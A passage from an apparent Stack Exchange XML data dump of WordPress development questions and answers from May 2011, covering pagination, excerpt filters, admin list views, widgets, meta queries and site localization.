?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;next&quot;&amp;gt;&amp;lt;?php next_posts_link('Next Page &amp;amp;rsaquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    } else {&#xA;                        echo '&amp;lt;p&amp;gt;No articles by this user&amp;lt;/p&amp;gt;';&#xA;                    }       &#xA;                    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should display 5 post with it's title and it's excerpt by the author,....but the rest of the author's posts isn't paginated what it paginates is the whole number of post on the blog.&lt;/p&gt;&#xA;" OwnerUserId="5443" LastActivityDate="2011-05-17T13:53:36.153" Title="Adding Pagination on a Custom Author Page" Tags="&lt;customization&gt;&lt;loop&gt;&lt;pagination&gt;&lt;get-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17474" PostTypeId="2" ParentId="17473" CreationDate="2011-05-17T13:42:25.040" Score="3" ViewCount="" Body="&lt;p&gt;Put the following code in your &lt;code&gt;functions.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function limit_posts_per_page() {&#xA;if ( is_author() ) // you can limit other pages as well ( i.e. is_archive() ), if need be.&#xA;    return 5;&#xA;}&#xA;add_filter( 'pre_option_posts_per_page', 'limit_posts_per_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure your using the &lt;code&gt;author.php&lt;/code&gt; template, otherwise it wont work. Please have a look at twentyten's &lt;code&gt;author.php&lt;/code&gt; for best practices.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-17T13:53:36.153" LastActivityDate="2011-05-17T13:53:36.153" CommentCount="1" />
  <row Id="17475" PostTypeId="2" ParentId="5742" CreationDate="2011-05-17T14:06:54.677" Score="0" ViewCount="" Body="&lt;p&gt;Jan Fabry's code snippets are good. However, you don't need the third snippet (&quot;Changing the data that forms the author URL&quot;) if you have the &lt;a href=&quot;http://wordpress.org/extend/plugins/active-directory-integration/&quot; rel=&quot;nofollow&quot;&gt;Active Directory Integration plugin&lt;/a&gt;. You can set that plugin to override the &lt;strong&gt;nickname&lt;/strong&gt; user meta value by going to the plugin's &lt;strong&gt;User Meta&lt;/strong&gt; tab and entering &lt;code&gt;mailnickname:string:nickname&lt;/code&gt; in the &lt;strong&gt;Additional User Attributes&lt;/strong&gt; area. Note that you may need to replace &lt;code&gt;mailnickname&lt;/code&gt; with whatever Active Directory user attribute works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The &lt;strong&gt;Author Slug&lt;/strong&gt; plugin doesn't work in Multisite/Network mode.&lt;/p&gt;&#xA;" OwnerUserId="5421" LastActivityDate="2011-05-17T14:06:54.677" />
  <row Id="17476" PostTypeId="1" AcceptedAnswerId="17491" CreationDate="2011-05-17T14:07:47.263" Score="0" ViewCount="47" Body="&lt;p&gt;I'm using the Newsletter plugin (http://wordpress.org/extend/plugins/newsletter/) to compose e-mail newsletters. Using the &quot;auto-compose&quot; feature to pull website data via the theme included with the plugin, which I have begun to customise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pulling posts just fine, which is a good start - but I would also like to pull some data that a custom widget on our site is displaying. I'm fairly new to Wordpress and the custom widget in question was not developed by me. Can I include a specific widget via my theme template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4896" LastActivityDate="2011-05-17T16:01:55.340" Title="Include widget within newsletter template?" Tags="&lt;widgets&gt;&lt;newsletter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17477" PostTypeId="2" ParentId="17446" CreationDate="2011-05-17T14:18:29.533" Score="2" ViewCount="" Body="&lt;p&gt;You can store the chosen color in a meta field. We have a question about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14500/custom-fields-for-attachments&quot;&gt;adding a custom field to attachments&lt;/a&gt;, it contains an example. The hooks you need are &lt;code&gt;attachment_fields_to_edit&lt;/code&gt; and &lt;code&gt;attachment_fields_to_save&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T14:18:29.533" />
  <row Id="17478" PostTypeId="1" AcceptedAnswerId="17487" CreationDate="2011-05-17T14:29:59.427" Score="0" ViewCount="70" Body="&lt;p&gt;trying to stop get_the_excerpt() from defaulting to the_content() if its empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this kinda works - well it seems to return 'xxx' so i think has_excerpt() isn't working?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_link_excerpt(){&#xA;    if(has_excerpt()){&#xA;        $LinkExcerpt = get_the_excerpt();&#xA;        return $LinkExcerpt.&quot;...&quot;;&#xA;    }&#xA;    return 'no excerpt'; &#xA;}&#xA;add_filter('get_the_excerpt', 'get_link_excerpt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what's the best way to control this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best,Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-05-17T15:23:38.650" Title="excerpt - don't use main content if empty" Tags="&lt;excerpt&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="17479" PostTypeId="2" ParentId="17072" CreationDate="2011-05-17T14:31:22.950" Score="1" ViewCount="" Body="&lt;p&gt;So, the issue is that if you use a google custom embed code, then the iframe sucks up all the clicks, so you can't trigger a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution I've found is to use &lt;a href=&quot;http://code.google.com/apis/maps/documentation/staticmaps/&quot; rel=&quot;nofollow&quot;&gt;Google Static Maps&lt;/a&gt; which I discovered via &lt;a href=&quot;http://www.grimmdude.com/simple-static-google-maps-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;Simple Static Googlemaps Plugin&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My priority is an attractive map which loads faster (requires no javascript) until the user clicks to navigate the map, then I want it to pop up in a lightbox (I use wp-fancybox).  The plugin above may still function for WP v.3+ cos it looks pretty simple, but I didn't try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I've embedded the following into my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$static_map = '&#xA;&amp;lt;img alt=&quot;Googlemap&quot; src=&quot;http://maps.google.com/maps/api/staticmap?center='. $location&#xA;.'&amp;amp;markers=small|' . $location&#xA;.'&amp;amp;zoom=14'&#xA;.'&amp;amp;size=480x340'&#xA;.'&amp;amp;sensor=false&quot;/&amp;gt;';&#xA;&#xA;$popup_map = '&#xA;http://maps.google.com.au/maps?q='. $location&#xA;.'&amp;amp;f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;mrt=all&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;'&#xA;.'hnear=' . $location &#xA;.'&amp;amp;z=14&amp;amp;iwloc=&amp;amp;output=embed';&#xA;&#xA;$map = '&#xA;&amp;lt;div class=&quot;map clearfix&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;iframe&quot; href=&quot;'. $popup_map . '&quot;&amp;gt;&#xA;    ' . $static_map . '&#xA;    &amp;lt;/a&amp;gt;                &#xA;&amp;lt;/div&amp;gt;' .&quot;\n&quot;;&#xA;&#xA;print($map);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$location is just an address, nothing fancy (10 Monkey St, Jungletown, Madagascar)&lt;/li&gt;&#xA;&lt;li&gt;in $popup_map leaving &lt;strong&gt;&amp;amp;iwloc=&lt;/strong&gt; blank hides the text bubble&#xA;i haven't fiddled too much with other params 'cos it seems to work ;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps! (Plenty of room for improvement)&#xA;Cheers, Tim&lt;/p&gt;&#xA;" OwnerUserId="4994" LastEditorUserId="4994" LastEditorDisplayName="" LastEditDate="2011-05-17T14:43:57.513" LastActivityDate="2011-05-17T14:43:57.513" CommentCount="3" />
  <row Id="17480" PostTypeId="2" ParentId="17446" CreationDate="2011-05-17T14:31:50.707" Score="3" ViewCount="" Body="&lt;p&gt;You don't need a plugin for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After uploading and inserting an image into a post, you can then click on the top left icon of the picture which brings you a new panel. Click on the &quot;Advanced Settings&quot; tab, there you can add html classes to the img tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then put in your css that bg1 = grey, bg2 = black, …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here &gt; &lt;a href=&quot;http://en.support.wordpress.com/images/image-settings/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/images/image-settings/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5444" LastActivityDate="2011-05-17T14:31:50.707" CommentCount="1" />
  <row Id="17481" PostTypeId="2" ParentId="17457" CreationDate="2011-05-17T14:37:48.453" Score="0" ViewCount="" Body="&lt;p&gt;The problem is that $_GET['user_id'] is not populated. You want to pull in the current user variable. Try this out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_profile_fields( $fields ) {&#xA;  global $current_user;&#xA;  if user_can($current_user, &quot;paying_member&quot;) { &#xA;    $fields['paypal_account'] = 'Paypal account';&#xA;  }&#xA;  return $fields;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-17T14:37:48.453" CommentCount="3" />
  <row Id="17482" PostTypeId="1" CreationDate="2011-05-17T14:43:21.493" Score="2" ViewCount="115" Body="&lt;p&gt;I have a site which is based in US (ex. www.example.com). We've been tasked to create a UK/GB version of the site which has it's own domain (ex. www.example.co.uk), but shares the same common pages/posts/backend. About 75% of the pages are the same on both versions but there will be a few sections (like About and Contact) where they are different to account for regional differences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;US site (www.example.com) has 4 Pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Home&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;About&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Contact&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UK Site (www.example.co.uk) also has 3 pages (2 different, 1 the same)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Home&lt;/strong&gt; (The same as US, but the URL should be www.example.co.uk)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;About&lt;/strong&gt; (Different content, the URL should be www.example.co.uk/about)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Services&lt;/strong&gt; (The same as US, but URL should be www.example.co.uk/services)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Contact&lt;/strong&gt; (Different content, the URL should be www.example.co.uk/contact)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do I go about setting up the UK/GB version of the site which use the same backend and most of the same content from the base site, but has a few page differences and different domain?&lt;/p&gt;&#xA;" OwnerUserId="2263" LastActivityDate="2011-05-20T07:33:26.297" Title="Localization For Two Different Regions/Domains with the Same Language" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;domain&gt;&lt;domain-mapping&gt;" AnswerCount="3" />
  <row Id="17483" PostTypeId="2" ParentId="14793" CreationDate="2011-05-17T14:49:54.590" Score="0" ViewCount="" Body="&lt;p&gt;I am quite new to Wordpress.&#xA;I have the same issue here : I've installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor wordpress plugin&lt;/a&gt; but still can't work out which capabilities I should enable to to allow a new role to moderate comments from anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If moderate_comments edit_posts and edit_others_posts still do not suffice, and if one needs to code callback adding capabilities programmatically... then why shouldn't the issue be submitted as a feature request or bug upstream in the Wordpress tracker or e.g. User Role Editor plugin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help ! I'm ok to submit some bug upstream if that is a good idea, or get the related function code fix.&lt;/p&gt;&#xA;" OwnerUserId="5446" LastActivityDate="2011-05-17T14:49:54.590" />
  <row Id="17484" PostTypeId="1" CreationDate="2011-05-17T14:54:57.970" Score="1" ViewCount="64" Body="&lt;p&gt;Is there any way to add links on the top, as pictured below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i1109.photobucket.com/albums/h439/andregolvea/addlink.png&quot; alt=&quot;Post list views&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5448" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-17T15:12:48.207" LastActivityDate="2011-05-17T15:12:48.207" Title="Add link on the top menu of the post table?" Tags="&lt;posts&gt;&lt;admin&gt;&lt;views&gt;&lt;lists&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="17485" PostTypeId="2" ParentId="17434" CreationDate="2011-05-17T14:56:50.780" Score="1" ViewCount="" Body="&lt;p&gt;If you want to add content to the menu item outside the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag, you can add this in the &lt;code&gt;['meta']['html']&lt;/code&gt; argument. So your code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_admin_bar-&amp;gt;add_menu( array(&#xA;    'parent' =&amp;gt; 'switch_themes',&#xA;    'meta' =&amp;gt; array(&#xA;        'html' =&amp;gt; $theme_switcher-&amp;gt;theme_switcher_markup( 'dropdown' ),&#xA;    ),&#xA;    'href' =&amp;gt; '#',&#xA;    'title' =&amp;gt; ' ', // An empty title will not be accepted&#xA;    'id' =&amp;gt; 'wpse17434_child', // If the title is empty, you need to specify the ID yourself&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will generate an ugly empty &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; block above your dropdown, but you can hide this with the correct style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you considered not using a dropdown but just a submenu to list the different themes? This would be more in line with the current menu bar style.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T14:56:50.780" />
  <row Id="17486" PostTypeId="2" ParentId="17484" CreationDate="2011-05-17T15:10:49.677" Score="3" ViewCount="" Body="&lt;p&gt;They are filtered via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/class-wp-list-table.php#L225&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;views_[screen-id]&lt;/code&gt; filter&lt;/a&gt;. The &lt;code&gt;screen-id&lt;/code&gt; of the edit post page is &lt;code&gt;edit-post&lt;/code&gt;, so you can modify the links like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'views_edit-post', 'wpse17484_views_edit_post' );&#xA;function wpse17484_views_edit_post( $views )&#xA;{&#xA;    $views['wpse17484'] = '&amp;lt;a href=&quot;my-url&quot;&amp;gt;My action&amp;lt;/a&amp;gt;';&#xA;    return $views;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the code that generates the post views in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/class-wp-posts-list-table.php#L129&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Posts_List_Table::get_views()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T15:10:49.677" CommentCount="1" />
  <row Id="17487" PostTypeId="2" ParentId="17478" CreationDate="2011-05-17T15:23:38.650" Score="0" ViewCount="" Body="&lt;p&gt;WordPress &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/default-filters.php#L146&quot; rel=&quot;nofollow&quot;&gt;sets up a default filter for &lt;code&gt;get_the_excerpt&lt;/code&gt;&lt;/a&gt;: &lt;code&gt;wp_trim_excerpt()&lt;/code&gt;. It is this function that will &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/formatting.php#L1844&quot; rel=&quot;nofollow&quot;&gt;generate an excerpt from the content &quot;if needed&quot;&lt;/a&gt;. If you don't want this behavior, you can just unhook the filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse17478_init' );&#xA;function wpse17478_init()&#xA;{&#xA;    remove_filter( 'get_the_excerpt', 'wp_trim_excerpt' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;get_the_excerpt()&lt;/code&gt; will just return the contents of the &lt;code&gt;post_excerpt&lt;/code&gt; database field. If you want to return something when it is empty, you only need to check this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_the_excerpt', 'wpse17478_get_the_excerpt' );&#xA;function wpse17478_get_the_excerpt( $excerpt )&#xA;{&#xA;    if ( '' == $excerpt ) {&#xA;        return 'No excerpt!';&#xA;    }&#xA;    return $excerpt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no need to call &lt;code&gt;get_the_excerpt()&lt;/code&gt; - it could even introduce an endless recursion because it applies your filter again!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T15:23:38.650" CommentCount="3" />
  <row Id="17488" PostTypeId="2" ParentId="17454" CreationDate="2011-05-17T15:40:48.293" Score="1" ViewCount="" Body="&lt;p&gt;It is not impossible, but you need to be very careful to prevent conflicts. You can use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt; to look at your current rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure you propose, where the custom post type is stored in the URL hash (the part after the &lt;code&gt;#&lt;/code&gt;), will not work because this part is not sent to the server. So the server will just see a request for &lt;code&gt;my-category/!&lt;/code&gt;, not for &lt;code&gt;my-category/!#/my-post&lt;/code&gt;. (Is it possible you switched the &lt;code&gt;#&lt;/code&gt; and the &lt;code&gt;!&lt;/code&gt;? The custom is to use &lt;code&gt;#!/&lt;/code&gt; as the hash start.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this depends on whether you currently have verbose page rules, and this depends on your current permalink structure. Can you edit your question to add this?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-17T15:40:48.293" />
  <row Id="17489" PostTypeId="1" AcceptedAnswerId="17493" CreationDate="2011-05-17T15:56:06.110" Score="2" ViewCount="94" Body="&lt;p&gt;I'm trying to do a MySQL-style search with Wordpress' built-in functions for fetching posts. There's likely a simple way to do this and I'm probably just a little bit off from the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have posts with custom fields in them. This is legacy data imported as a custom post type with custom_fields being the extra data from our older database. The custom fields are setup like this for each post in Wordpress right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key = subject&#xA;val = Subject One, Subject Two, Subject Three&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to fetch all posts where custom_field value is LIKE &quot;Subject Two&quot;, as an example. There's probably an easy way to do this that just hasn't hit me yet. Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have a properly working MySQL query. Just wanted to use Wordpress' functions to handle the query instead of me having to do it manually for this theme view. Here's the working example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get posts that match LIKE this subject&#xA;$cft_by_subject = $wpdb-&amp;gt;get_results(&#xA;    &quot;SELECT&#xA;        wp_posts.ID,&#xA;        wp_posts.post_title,&#xA;        wp_posts.post_date,&#xA;        wp_posts.post_name,&#xA;        wp_postmeta.meta_value&#xA;     FROM&#xA;        wp_posts,&#xA;        wp_postmeta&#xA;     WHERE&#xA;        (wp_posts.ID = wp_postmeta.post_id) AND&#xA;        (wp_posts.post_type = 'our-custom-post-type') AND&#xA;        (wp_posts.post_status = 'Publish') AND&#xA;        (wp_postmeta.meta_key = 'subject') AND&#xA;        (wp_postmeta.meta_value LIKE '%&quot;.$this-is-our-subject.&quot;%')&#xA;     ORDER BY&#xA;        wp_posts.ID ASC&#xA;    &quot;,&#xA;    ARRAY_A&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5449" LastEditorUserId="5449" LastEditorDisplayName="" LastEditDate="2011-05-17T16:14:55.407" LastActivityDate="2011-05-17T16:14:55.407" Title="Get all posts WHERE custom_field is LIKE value" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="17490" PostTypeId="1" CreationDate="2011-05-17T15:58:16.137" Score="1" ViewCount="125" Body="&lt;p&gt;I have a Custom Post Type called &quot;Movies&quot; with 2 categories called &quot;Now Showing&quot; (cat id=6), and &quot;Coming Soon&quot; (cat id=7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to alter the code to only pull in the child category for two separate pages, instead of ALL of the posts within the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am trying to change: (Any help would be great!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;h3 class=&quot;section-title&quot;&amp;gt;Now Showing&amp;lt;/h3&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            $args = array( 'post_type' =&amp;gt; 'movies', 'paged'=&amp;gt;$paged );&#xA;            $loop = new WP_Query( $args );&#xA;            $i = 1;&#xA;&#xA;            while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php include( TEMPLATEPATH . '/includes/show-movies.php' ); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="5450" LastEditorDisplayName="" LastEditDate="2011-05-17T16:14:19.463" LastActivityDate="2011-08-16T09:25:18.883" Title="How do I get the child category posts from a custom post type?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17491" PostTypeId="2" ParentId="17476" CreationDate="2011-05-17T16:01:55.340" Score="0" ViewCount="" Body="&lt;p&gt;You may already know this, but you need to specify the widget's class name as the $widget_name variable in the  template tag.  For example, &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the widget, you may also need to add parameters to the_widget() to get it to display properly — see notes on thewidget() $instance and $args in the codex. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_widget&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_widget&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use a plugin like Widgets on Pages, which will let you include a widget anywhere using by using a shortcode like this: [widgets_on_pages id=WidgetName]&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/widgets-on-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/widgets-on-pages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-05-17T16:01:55.340" CommentCount="1" />
  <row Id="17492" PostTypeId="2" ParentId="17482" CreationDate="2011-05-17T16:07:10.873" Score="0" ViewCount="" Body="&lt;p&gt;This is just a suggestion and I'm not sure if it would work but how about this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a plugin like &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.com points to en_US language and .co.uk points to en_GB language. So for pages where you need a UK and US versions you just create translations for those posts/pages&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-17T16:07:10.873" CommentCount="2" />
  <row Id="17493" PostTypeId="2" ParentId="17489" CreationDate="2011-05-17T16:13:26.687" Score="2" ViewCount="" Body="&lt;p&gt;You can use meta_query in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'subject',&#xA;            'value' =&amp;gt; 'Subject Two',&#xA;            'compare' =&amp;gt; 'LIKE'&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-17T16:13:26.687" CommentCount="1" />
  <row Id="17494" PostTypeId="1" AcceptedAnswerId="17562" CreationDate="2011-05-17T16:14:27.043" Score="1" ViewCount="145" Body="&lt;p&gt;I've used the wordpress plugin - &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;advanced custom field&lt;/a&gt; and would like to show an array of a child, here's my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this code to show the custom fields data from a specific page ID's children:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'depth'        =&amp;gt; 0,&#xA;    'child_of'     =&amp;gt; 411 );&#xA;$pages = get_pages(array('child_of'));&#xA;&#xA;foreach($pages as $post)&#xA;{&#xA;setup_postdata($post);&#xA;$fields = get_fields();&#xA;if($fields-&amp;gt;company_name != &quot;&quot;) : ?&amp;gt;&#xA;   &amp;lt;h2&amp;gt;&amp;lt;?php echo $fields-&amp;gt;company_name; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&amp;lt;?php&#xA;}&#xA;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using to show the checkbox data of the page itself (i.e it's not a parent/child):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $catNames = array( 'branding','creative','development','exhibition','packaging','print','seo','social_media','usability','web','advertising','campaign','content','feasibility','publishing','research','strategy');&#xA;&#xA;    foreach($catNames as $name){&#xA;        if(in_array($name, get_field('categories') )){&#xA;            echo '&amp;lt;a href=&quot;/tags/design/'.$name.'&quot; title=&quot;'.$name.'&quot;&amp;gt;'.ucwords($name).'&amp;lt;/a&amp;gt;';       &#xA;        }&#xA;    }&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to combine the two together so underneath the H2 tag in the first code box I want to show the checkbox data of the child, how can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;When I add the checkbox code to the child code, I can't get the data to display, it's either blank or has an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the page I'm &lt;a href=&quot;http://teamworksdesign.com/v2/tags/design/branding&quot; rel=&quot;nofollow&quot;&gt;working on&lt;/a&gt;. The first thumbnail has been hardcoded, the second and third thumbnails should pick up the tags with the code above but it doesn't.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-05-19T08:02:23.310" Title="Wordpress - Display array data of a child" Tags="&lt;php&gt;&lt;custom-field&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17495" PostTypeId="1" AcceptedAnswerId="17499" CreationDate="2011-05-17T16:49:21.350" Score="2" ViewCount="179" Body="&lt;p&gt;I have my own theme that I've created and I need to support 3 languages. I started by adding the gettext functions to my template _e(&quot;string&quot;,&quot;namespace&quot;) etc, generated the po file with Poedit, and then created the .mo file for Spanish (es_ES)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current setup which is not working &gt;&#xA;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp-config.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('WPLANG', 'es_ES');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('TPL_LANGUAGES',TEMPLATEPATH.'/languages/');&#xA;&#xA;function theme_init(){&#xA;    load_theme_textdomain( 'protoman', TPL_LANGUAGES);&#xA;}&#xA;&#xA;add_action('init', 'theme_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;languages mo 